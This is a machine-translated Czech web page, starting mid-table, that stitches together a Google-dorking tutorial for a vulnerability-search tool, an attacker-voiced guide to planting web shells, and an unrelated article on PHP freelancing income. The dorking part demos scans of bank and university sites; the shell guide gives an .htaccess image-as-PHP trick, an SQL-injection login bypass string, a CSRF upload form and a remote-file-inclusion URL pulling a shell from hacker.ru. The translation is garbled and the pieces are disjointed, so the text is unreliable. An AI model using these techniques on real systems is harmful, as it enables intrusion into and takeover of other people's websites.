<br></td> <td width="284">webové stránky saplogonu: <br><i>intext:"2016 SAP AG. Všechna práva vyhrazena." intitle:"Přihlášení"</i><br></td> </tr><tr><td width="168">Různá online zařízení <br></td> <td width="190">Tiskárny, routery, monitorovací systémy atd. <br></td> <td width="284">Najděte konfigurační panel tiskárny: <br><i>intitle:"</i><i>hp</i><i>laserjet"</i><i>inurl:</i><i>SSI/</i><i>Auth/</i><i>soubor_</i><i>config_</i><i>informace o zařízení.</i><i>htm</i><br></td> </tr><tr><td width="168">Rady a zranitelnosti <br></td> <td width="190">Webové stránky na zranitelných verzích CMS <br></td> <td width="284">Najděte zranitelné pluginy, pomocí kterých můžete na server nahrát libovolný soubor: <br><i>inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled</i><br></td> </tr></tbody></table><br>Dorky se častěji zaměřují na vyhledávání napříč všemi internetovými stránkami. Nic vám ale nebrání omezit rozsah vyhledávání na libovolném webu nebo webech. <br>Každý dotaz Google lze zaměřit na konkrétní web přidáním klíčového slova „site:somesite.com“ k dotazu. Toto klíčové slovo lze přidat do libovolného dorka. <p><b>Automatizace vyhledávání zranitelností</b><br>Tak se zrodil nápad napsat jednoduchou utilitu, která automatizuje vyhledávání zranitelností pomocí vyhledávače (google) a opírá se o Google Hack Database.</p><p>Nástroj je skript napsaný v nodejs pomocí phantomjs. Abychom byli přesní, skript je interpretován samotnými phantomjs. <br>Phantomjs je plnohodnotný webový prohlížeč bez GUI, ovládaný js kódem a s pohodlným API. <br>Nástroj dostal celkem srozumitelný název - dorks. Spuštěním na příkazovém řádku (bez možností) získáme krátkou nápovědu s několika příklady použití: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/edd/6fb/ccc/edd6fbccc5ec340abe750f3073c1b427.jpg' width="100%" loading=lazy loading=lazy><br>Obrázek 1 - Seznam hlavních možností dorks</p><p>Obecná syntaxe nástroje je: dork „příkaz“ „seznam možností“. <br>Podrobný popis všech možností je uveden v tabulce 4.</p><p>Tabulka 4 - Syntaxe Dorks <br></p><table border="1"><tbody><tr><td width="214"><b>tým</b><br></td> <td width="214"><b>Volba</b><br></td> <td width="214"><b>Popis</b><br></td> </tr><tr><td rowspan="4" width="214">ghdb <br></td> <td width="214">-l <br></td> <td width="214">Vytiskněte si očíslovaný seznam dork kategorií Google Hack Database <br></td> </tr><tr><td width="214">-c „číslo nebo název kategorie“ <br></td> <td width="214">Načtěte dveře zadané kategorie podle čísla nebo názvu <br></td> </tr><tr><td width="214">-q "fráze" <br></td> <td width="214">Stáhnout dorks nalezené na vyžádání <br></td> </tr><tr><td width="214">-o "soubor" <br></td> <td width="214">Uložte výsledek do souboru (pouze s volbami -c|-q) <br></td> </tr><tr><td rowspan="8" width="214">Google <br></td> <td width="214">-d "dork" <br></td> <td width="214">Nastavte libovolný dork (možnost lze použít mnohokrát, kombinace s možností -D je povolena) <br></td> </tr><tr><td width="214">-D "soubor" <br></td> <td width="214">Použijte dorky ze souboru <br></td> </tr><tr><td width="214">-s "stránky" <br></td> <td width="214">Nastavit místo (možnost lze použít mnohokrát, kombinace s možností -S je povolena) <br></td> </tr><tr><td width="214">-S "soubor" <br></td> <td width="214">Použít weby ze souboru (dorky budou prohledány pro každý web nezávisle) <br></td> </tr><tr><td width="214">-f "filtr" <br></td> <td width="214">Nastavit další klíčová slova (budou přidána do každého dorka) <br></td> </tr><tr><td width="214">-t "počet ms" <br></td> <td width="214">Interval mezi požadavky na google <br></td> </tr><tr><td width="214">-T "počet ms" <br></td> <td width="214">Časový limit, pokud je nalezen captcha <br></td> </tr><tr><td width="214">-o "soubor" <br></td> <td width="214">Uložit výsledek do souboru (uloží se pouze ty stopy, u kterých bylo něco nalezeno) <br></td> </tr></tbody></table><br>Pomocí příkazu ghdb můžete získat všechny dorky z exploit-db na libovolný požadavek nebo zadat celou kategorii. Pokud zadáte kategorii 0, dojde k uvolnění celé databáze (asi 4,5 tisíce dorků). <p>Seznam aktuálně dostupných kategorií je uveden na obrázku 2. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/b8f/b11/ffe/b8fb11ffeaced5066fd2fd9e43be67fb.jpg' width="100%" loading=lazy loading=lazy></p><p>Obrázek 2 - Seznam dostupných kategorií dork GHDB</p><p>Tým google nahradí každého dorka do vyhledávače google a analyzuje výsledek na shodu. Cesty, kde bylo něco nalezeno, budou uloženy do souboru. <br>Nástroj podporuje různé režimy vyhledávání: <br>1 dork a 1 místo; <br>1 dork a mnoho stránek; <br>1 místo a mnoho dorků; <br>mnoho míst a mnoho dorks; <br>Seznam dork a webů lze zadat buď pomocí argumentu, nebo pomocí souboru.</p><p><b>Ukázka práce</b><br>Zkusme hledat případné zranitelnosti na příkladu hledání chybových hlášení. Příkazem: dorks ghdb –c 7 –o errors.dorks budou načteny všechny známé dorks kategorie „Chybové zprávy“, jak je znázorněno na obrázku 3. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/28c/386/641/28c386641d1528652f7f8e8b8089097a.jpg' width="100%" loading=lazy loading=lazy><br>Obrázek 3 – Načtení všech známých záložek kategorie „Chybové zprávy“.</p><p>Dorky jsou staženy a uloženy do souboru. Nyní zbývá jen „nastavit“ je na nějaké místo (viz obrázek 4). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/8e0/a8a/3af/8e0a8a3af4f26544da1faa584813dbff.jpg' width="100%" loading=lazy loading=lazy><br>Obrázek 4 – Hledání zranitelností zájmového webu v mezipaměti Google</p><p>Po nějaké době se na zkoumaném webu objeví několik stránek obsahujících chyby (viz obrázek 5).</p><p><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/10b/e83/ba3/10be83ba38f172213ba06b3f9ad05a58.jpg' width="100%" loading=lazy loading=lazy><br>Obrázek 5 – Nalezené chybové zprávy</p><p>Výsledkem je, že v souboru result.txt získáme kompletní seznam dork, které vedou k chybě. <br>Obrázek 6 ukazuje výsledek hledání chyb webu. <br><br>Obrázek 6 – Výsledek hledání chyb</p><p>V mezipaměti pro tento dork se zobrazí kompletní backtrace odhalující absolutní cesty skriptů, systém správy obsahu webu a typ databáze (viz obrázek 7). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/0a9/455/588/0a9455588496d6609f5e13d598cb5a48.jpg' width="100%" loading=lazy loading=lazy><br>Obrázek 7 – zveřejnění informací o designu webu</p><p>Stojí však za zvážení, že ne všechny dorky z GHDB dávají skutečné výsledky. Google také nemusí najít přesnou shodu a zobrazit podobný výsledek.</p><p>V tomto případě je rozumnější použít svůj osobní seznam doků. Vždy se například vyplatí hledat soubory s „neobvyklými“ příponami, jejichž příklady jsou znázorněny na obrázku 8. <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/d7f/865/693/d7f865693f7fcf13137598eeed0ecb58.jpg' width="100%" loading=lazy loading=lazy><br>Obrázek 8 – Seznam přípon souborů, které nejsou typické pro běžný webový zdroj</p><p>Výsledkem je, že pomocí příkazu dorks google –D extensions.txt –f bank začne Google od prvního požadavku vracet stránky s „neobvyklými“ příponami souborů (viz obrázek 9). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/107/e1f/a2f/107e1fa2f41c4169bcc254cba2f2f4b6.jpg' width="100%" loading=lazy loading=lazy><br>Obrázek 9 – Vyhledávání „špatných“ typů souborů na bankovních webech</p><p>Stojí za to mít na paměti, že Google nepřijímá dotazy delší než 32 slov.</p><p>Pomocí příkazu dorks google –d intext:”error|warning|notice|syntax” –f university <br>Chyby PHP interpretu můžete hledat na vzdělávacích webech (viz obrázek 10). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/717/74f/e36/71774fe3656bfc058c42d43262fdec4a.jpg' width="100%" loading=lazy loading=lazy><br>Obrázek 10 – Hledání chyb běhového prostředí PHP</p><p>Někdy není vhodné používat jednu nebo dvě kategorie dorků. <br>Pokud je například známo, že web běží na enginu Wordpress, potřebujeme moduly specifické pro WordPress. V tomto případě je vhodné použít vyhledávání Google Hack Database. Příkaz dorks ghdb –q wordpress –o wordpress_dorks.txt stáhne všechny dorks z Wordpressu, jak je znázorněno na obrázku 11: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/dcb/ac9/a4e/dcbac9a4eb12f6ec775d9cccc2fdee87.jpg' width="100%" loading=lazy loading=lazy><br>Obrázek 11 – Hledání Dorks souvisejících s Wordpressem</p><p>Vraťme se znovu k bankám a pomocí příkazu dorks google –D wordpress_dords.txt –f banka se pokuste najít něco zajímavého souvisejícího s Wordpressem (viz obrázek 12). <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/042/0c2/c43/0420c2c435931704288b171f725ccc6a.jpg' width="100%" loading=lazy loading=lazy><br>Obrázek 12 – Hledání zranitelností Wordpressu</p><p>Za zmínku stojí, že vyhledávání na Google Hack Database nepřijímá slova kratší než 4 znaky. Pokud například není znám CMS webu, ale je znám jazyk - PHP. V tomto případě můžete to, co potřebujete, filtrovat ručně pomocí potrubí a systémového vyhledávacího nástroje dorks –c all | findstr /I php > php_dorks.txt (viz obrázek 13): <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/4c1/2f8/6e1/4c12f86e111074293c14d6a939c6ebab.jpg' width="100%" loading=lazy loading=lazy><br>Obrázek 13 – Prohledejte všechny dorky, kde je zmíněno PHP</p><p>Hledání zranitelností nebo některých citlivých informací ve vyhledávači by mělo být prováděno pouze v případě, že je na tomto webu významný index. Pokud má například web indexováno 10–15 stránek, je hloupé cokoliv hledat tímto způsobem. Kontrola velikosti indexu je snadná – stačí zadat „site:somesite.com“ do vyhledávacího pole Google. Příklad webu s nedostatečným indexem je na obrázku 14. <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/78e/1db/b4f/78e1dbb4fc78cd422cec311fc2ca9d33.jpg' width="100%" loading=lazy loading=lazy><br>Obrázek 14 – Kontrola velikosti indexu webu</p><p>Teď o tom nepříjemném... Čas od času může Google požadovat captcha – s tím se nedá nic dělat – budete ho muset zadat. Například při vyhledávání v kategorii „Chybové zprávy“ (90 dorks) se captcha objevila pouze jednou.</p><p>Za zmínku stojí, že phantomjs také podporuje práci přes proxy, a to jak přes http, tak i socks rozhraní. Chcete-li povolit režim proxy, musíte odkomentovat odpovídající řádek v dorks.bat nebo dorks.sh.</p><p>Nástroj je dostupný jako zdrojový kód</p> <br>V tomto článku chci mluvit o nejčastěji používaných metodách nahrávání shellu na web. <b>Web-shell</b> je druh škodlivého skriptu (programu), který útočníci používají k ovládání webových stránek nebo serverů. <p><b>Metoda 1</b><br>Najděte na webu formulář pro nahrávání souborů/obrázků. Řekněme, že se nám nepodařilo hacknout panel administrátora webu a snažíme se zaplavit náš shell <b>extension.php.jpg .</b> V případě úspěchu se nám místo obrázku zobrazí bílé okno, klikneme pravým tlačítkem a následujeme odkaz. V případě neúspěchu můžeme použít rozšíření Chrome <b>manipulační údaje</b>. Umožňuje vám zachytit a změnit požadavek, jak chcete. Pokud web zkontroluje příponu souboru, můžeme nejprve nahrát <b>.htaccess</b> soubor s obsahem: <br>AddType application/x-httpd-php .jpg <br>Tento příkaz spustí soubory jpg jako php. <br><b>Podrobný video návod:</b><br></p><p><span class="imp1oe54JeQ"></span></p><p>Video návod pro <b>instalace sabotážních dat:</b><br></p><p><span class="JA5K4KJ0NCc"></span></p><br><b>Metoda 2</b><br>Pomocí programu vyhledejte admin panely na webu - https://github.com/bdblackhat/admin-panel-finder. Když program najde admin panel, můžeme zkusit sql-injection. Do pole pro přihlašovací jméno a heslo na webu zadáme kód: <br><p>" nebo "1"="1" NEBO 1=1/*</p><p>Pokud to funguje, dostaneme se do administračního panelu a <b>Postupujeme podle metody 1.</b> Pokud v admin panelu na webu není žádná sql-injection, můžeme to zkusit odladit nebo najít exploit pro tento CMS. <br><b>Podrobný video návod:</b><br></p><p><span class="5Kh5gCr_3rc"></span></p><br><b>Metoda 3</b><br>V metodě 3 budeme hledat sql-injection na samotném webu. Můžeme to udělat ručně nebo použít sqlmap. Na fóru je dost témat o tom, jak provádět injekce, takže přijdu z dálky. Nyní jsme již našli tabulku s přihlašovacím jménem a heslem správce, dešifrovali hashe, přejděte na panel správce a radujte se. Ale řekněme, že jsme nemohli dešifrovat heslo a všechno se pokazilo, pak musíme zkontrolovat oprávnění našeho uživatele <b>. </b> Zkontrolujeme oprávnění a načteme mini-shell. <b>Z nějakého důvodu, když chci vložit kód, web mi zobrazí chybu.</b><p><b>Metoda 4</b><br>Metoda 4 zahrnuje csrf útok. V níže uvedeném kódu musíme nahradit <b>http://</b> na náš cílový odkaz. <b>Vyberte shell</b> a stiskněte tlačítko <b>nahrát.</b><br></p><p> <form method="POST" action="http://" enctype="multipart/form-data" > <input type="file" name="Filedata"></center><br> <input type="submit" name="Submit" value="nahrát"> </form></p><p><span class="FXOjzV5I1Cc"></span></p><br><b>Metoda 5</b><br>Zjistěte více o svém cíli a najděte exploit. Existuje na to velmi zajímavý web - https://www.exploit-db.com. Masivní hackování webů přes zranitelnosti nikdo nezrušil, ale na formuláři už je o tom článek. <p>Možností, jak naplnit skořápku, je mnohem více a o každém nemá smysl mluvit. Pokud chcete cvičit, pak si nainstalujte dvwa – je to program navržený tak, aby pomohl bezpečnostním profesionálům otestovat jejich dovednosti a nástroje v právním prostředí.</p><p><b>Metoda 6 <br><b>Php injekce</b>- jedná se o formu útoku na webovou stránku, kdy útočník vloží svůj PHP kód do napadené PHP aplikace.</b><br>www.site.ru?page=home.html <br>Provedením příkazu načteme domovskou,html stránku. Nyní se pokusíme načíst škodlivý shell. <br>www.site.ru?page=http://hacker.ru/webshell.php <br>Dork: <b>Inurl:page=</b></p><p>Existuje také způsob, jak najít již načtený shell pomocí perlu</p> <p> » </p><h1>Jak může PHP programátor vydělat dobré peníze doma?</h1><p>Nejúspěšnější PHP programátoři vydělávají dobré peníze z domova. Na začátku jakéhokoli příjmu nastávají potíže. Stává se, že potíže a neznalost metod výdělku odradí veškerou touhu vydělávat peníze doma, a programátoři pak hledají příležitost pracovat v kancelářích, kde je větší záruka, že peníze mohou být přijímány každý měsíc, a profesionální růst je možný.</p><p>Ale možnost pracovat z domova má více kladů než záporů.</p><h3>klady</h3><p>Budete pracovat pro sebe. Nikdo vás nevyhodí, budete si moci rozdělit svůj vlastní rozvrh nebo práci v čas, kdy budete chtít.</p><p>Sami si zvolíte způsob, jak vydělat peníze pomocí programování, což za prvé zvýší váš zájem o práci a za druhé máte velkou svobodu jednání. Nemusíte pracovat na něčem, co se vám nelíbí. Přibývá také možností, jak kombinovat způsoby výdělku.</p><h3>Mínusy</h3><p>Zpočátku to bude těžké a abyste získali první peníze za svou práci, musíte investovat spoustu úsilí a času. A aby byl zisk, musíte se neustále rozvíjet a mít trpělivost a správně rozvrhnout svůj rozvrh, abyste měli dostatek času na dokončení práce včas.</p><h3>Vydělávejte peníze svými skripty</h3><p>Na internetu je mnoho různých skriptů, které si lidé mohou snadno stáhnout a nainstalovat na své webové stránky. Můžete si napsat svůj vlastní jedinečný scénář a existují dvě možnosti, jak na svém scénáři vydělat peníze. Prodejte jej nebo zveřejněte prostřednictvím služeb sdílení souborů. Můžete také použít dvě možnosti. Například lehké skripty, ale zároveň je také velmi důležité umístit přes služby sdílení souborů přesně ty skripty, které budou velmi žádané. K tomu musí být skripty žádané, aby si je lidé stáhli pro své potřeby.</p><p>Velké skripty lze prodávat za rozumné ceny. Můžete zveřejnit inzerát na fórech, nebo pokud máte svůj osobní blog nebo web, umístit inzerát na prodej skriptů.</p><p>V každém případě, bez ohledu na to, jakou možnost zvolíte, umístěte skript do archivu a nezapomeňte uvést podrobné pokyny a kontaktní údaje o sobě. Nezapomeňte poskytnout podporu, protože je důležité, abyste na sobě pracovali. Koneckonců, musíte být doporučeni nebo si skripty stáhnout. Musí být vysoce kvalitní. Pokud vás někdo požádá o pomoc, zdvořile mu vysvětlete skript nebo mu jej pomozte nainstalovat. Vaše skripty by měly mít komentáře. Za co je každá funkce zodpovědná atd. Člověk se totiž může snadno splést ve vašem kódu, kde nejsou žádné zápisy.</p><h3>Vlastní a společné projekty</h3><p>Pro úspěšné vydělávání peněz je dobré vytvořit si vlastní web. Existuje mnoho příležitostí, jak vydělat peníze pomocí vašeho webu. Pokud to dobře propagujete, můžete tam umístit skripty na prodej. Kolaborativní projekty rozšíří vaše schopnosti, což je dobré pro úspěch domácího programování. Hledejte proto partnery nebo neodmítejte nabídky na vytvoření společného projektu.</p><p>Měli byste si být jisti, že na svůj web přidáte funkce, které upoutají pozornost. Stránka může mít pravidelný, jednoduchý vzhled, ale zároveň má svůj vlastní šmrnc. Osobní web pomáhá zvyšovat počet klientů. Uvidí, jak vaše skripty fungují, pokud jejich načítání netrvá příliš dlouho, jsou zajímavé k použití, a co je nejdůležitější, originální, na rozdíl od čehokoli jiného. Pak najdete úspěch.</p><h3>Výdělky z objednávek</h3><p>K tomu se stačí zaregistrovat na různých burzách pro freelancery a hledat zakázky. Vystavte své portfolio dokončených prací. Ale pozor, na světě jsou i nepoctiví lidé a abyste nepropadli podvodu, ukažte nejprve dílo, které se nachází na vašem serveru (mimochodem, v tomto případě si budete muset pronajmout vps http:/ /nkvd.pro/vps/), a pokud vám zaplatí část, převeďte polovinu na jejich server a udělejte totéž s druhou částí. Tento způsob vydělávání peněz je považován za ziskový, ale závisí na stupni vašich znalostí a dovedností. Záleží také na zpětné vazbě od vašich zákazníků. Abyste v tomto způsobu vydělávání peněz uspěli, dělejte práci poctivě a efektivně. Musíte být schopni komunikovat se zákazníky, jasně vysvětlit, co můžete a co nemůžete.</p><p>Toto není celý seznam výdělků pro php programátora, ale díky těmto způsobům vydělávání peněz, které jsou napsány výše, můžete již vydělávat peníze, aniž byste opustili domov. V počáteční fázi to bude velký úspěch. Hlavní věc je nezastavit se tam. Neustále se zdokonalujte a vytvářejte projekty, které vám přinesou nejen dobrý příjem, ale i potěšení.</p> <br><b>o autorovi</b> <br><p>Jak může PHP programátor vydělat dobré peníze doma?</p> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast_after?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> </div> </article> <div class="related_block"> <div class="title">Související publikace</div> <ul class="recent_ul"> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/d356145b8d32a4e43aa5ed76e39606a7.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/cs/vstupit-v-gruppu-po-zarabotku-deneg-kak-zarabotat.html">Jak vydělat peníze na VKontakte na vaší stránce a bez ní - opravdu fungující metody</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/c140bebb4b361b4583c11c49e770bc39.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/cs/kak-pomenyat-temu-dlya-vkontakte-v-yandeks-brauzere-kak-pomenyat-temu-v-kontakte.html">Jak změnit téma pro VKontakte v Yandex</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/40e1db5c5747911f9c43c259f44aeadb.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/cs/nastroika-velokompyutera-na-diametr-koles-26-2-2-podklyuchenie-velokompyutera-kak.html">Nastavení cyklocomputeru pro průměr kola 26 2</a></li> </ul> </div> </div> <aside id="sidebar"> <div class="block"> <nav class="sidebar_menu"> <div class="menu-sidebar_menu-container"> <ul id="menu-sidebar_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/programs/">Programy</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/windows/">Okna</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/devices/">Zařízení</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/browsers/">Prohlížeče</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/reviews/">Recenze</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/reviews/">Recenze</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/setup/">Nastavení</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/torrent/">Torrent</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/editors/">redaktoři</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/instagram/">Instagram</a></li> </ul> </div> </nav> </div> <div class="block recent_block"> <div class="title">Poslední poznámky</div> <ul class="popular"> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/5e60cc62a5f20ab07a340013922f0d2c.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Nejmenší počítač na světě: fotografie, popis, hodnocení Nejmenší PC na světě" / loading=lazy loading=lazy> <span class="cat">Programy</span></div> <a href="https://storerarity.ru/cs/samyi-malenkii-kompyuter-v-mire-foto-opisanie-reiting.html">Nejmenší počítač na světě: fotografie, popis, hodnocení Nejmenší PC na světě</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/cdb555606d94b8ae1d51c87fc743c991.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Jak nainstalovat aplikaci Yula a zaregistrovat se" / loading=lazy loading=lazy> <span class="cat">Programy</span></div> <a href="https://storerarity.ru/cs/kak-postavit-prilozhenie-yula-zaregistrirovatsya-prilozhenie-yula-ustanovka.html">Jak nainstalovat aplikaci Yula a zaregistrovat se</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/af70d4bfa7ecf603e659893b5979f8d6.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Smartphone Samsung Grand Duos: vlastnosti, recenze Popis Samsung galaxy grand duos" / loading=lazy loading=lazy> <span class="cat">Programy</span></div> <a href="https://storerarity.ru/cs/samsung-galaxy-grand-duos-bolshoi-i-moshchnyi-smartfon-samsung-grand-duos-harakteristiki-otzyvy-sam.html">Smartphone Samsung Grand Duos: vlastnosti, recenze Popis Samsung galaxy grand duos</a></li> </ul> </div> </aside> </div> </div> <div class="clear"></div> <footer id="footer"><div class="wrapper"> <div class="copy">2024 | Počítače pro každého – nastavení, instalace, obnova</div> <nav class="header_menu"> <div class="menu-footer_menu-container"> </div> </nav> </div></footer> <div id="toTop"></div> <script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js'></script> <nav class="mobile_menu"> <div class="close_menu"></div> <div class="mob_menu"> <div class="menu-mobile_menu-container"> <ul id="menu-mobile_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/programs/">Programy</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/windows/">Okna</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/devices/">Zařízení</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/browsers/">Prohlížeče</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/reviews/">Recenze</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/reviews/">Recenze</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/setup/">Nastavení</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/cs/category/torrent/">Torrent</a></li> </ul> </div> </div> </nav> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> </body> </html>